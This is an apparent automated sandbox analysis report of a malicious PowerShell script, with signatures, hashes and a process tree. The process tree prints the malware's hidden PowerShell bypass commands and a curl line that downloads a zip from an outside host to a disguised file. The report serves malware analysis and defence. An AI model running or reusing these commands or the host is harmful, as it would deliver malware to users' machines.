Analysis

  • max time kernel
    148s
  • max time network
    134s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/08/2026, 18:14

General

  • Target
    script.ps1
  • Size 1KB
  • Sample260802-wvrkysvthy
  • SHA256 1bbec3f72e50f5707afa4283b2b8a786dbeca2870a019bd802a1952c5c9cdc95
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • cURL User-Agent 1 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\script.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4380
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ep Bypass -W Hidden -F "C:\Users\Admin\AppData\Local\Temp\t.ps1"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4348
      • C:\Windows\system32\curl.exe
        "C:\Windows\system32\curl.exe" -L https://savricsaxen.cloud/storage/media/6a0de6056a65e/draw.zip -o C:\Users\Admin\AppData\Roaming\pupdate.zip
        3⤵
          PID:3244

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 e7183def1d29fd0395cd78b009e2f8b5e4f480395cf2985ccbc0322108a84822
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_3mx4f4dt.fxo.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3mx4f4dt.fxo.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          t.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\t.ps1
          • Size 252B
          • SHA256 aa30b21d760f2a0aae01c877fd83b86e109238dd79c8ef684a933f130fba865f
          • MD5 SHA1 SHA512 TLSH

          memory/4348-26-0x0000023254E00000-0x0000023254E1E000-memory.dmp

          memory/4348-20-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

          memory/4348-31-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

          memory/4348-29-0x0000023254EE0000-0x0000023254EEA000-memory.dmp

          memory/4348-28-0x0000023254E20000-0x0000023254ED2000-memory.dmp

          memory/4348-27-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

          memory/4348-13-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

          memory/4348-14-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

          memory/4348-23-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

          memory/4348-22-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

          memory/4348-19-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

          memory/4348-21-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

          memory/4380-6-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

          memory/4380-3-0x000001ADF02D0000-0x000001ADF02F2000-memory.dmp

          memory/4380-5-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

          memory/4380-0-0x00007FFC5F61F000-0x00007FFC5F620000-memory.dmp

          memory/4380-4-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

          memory/4380-12-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

          memory/4380-11-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

          memory/4380-8-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

          memory/4380-7-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp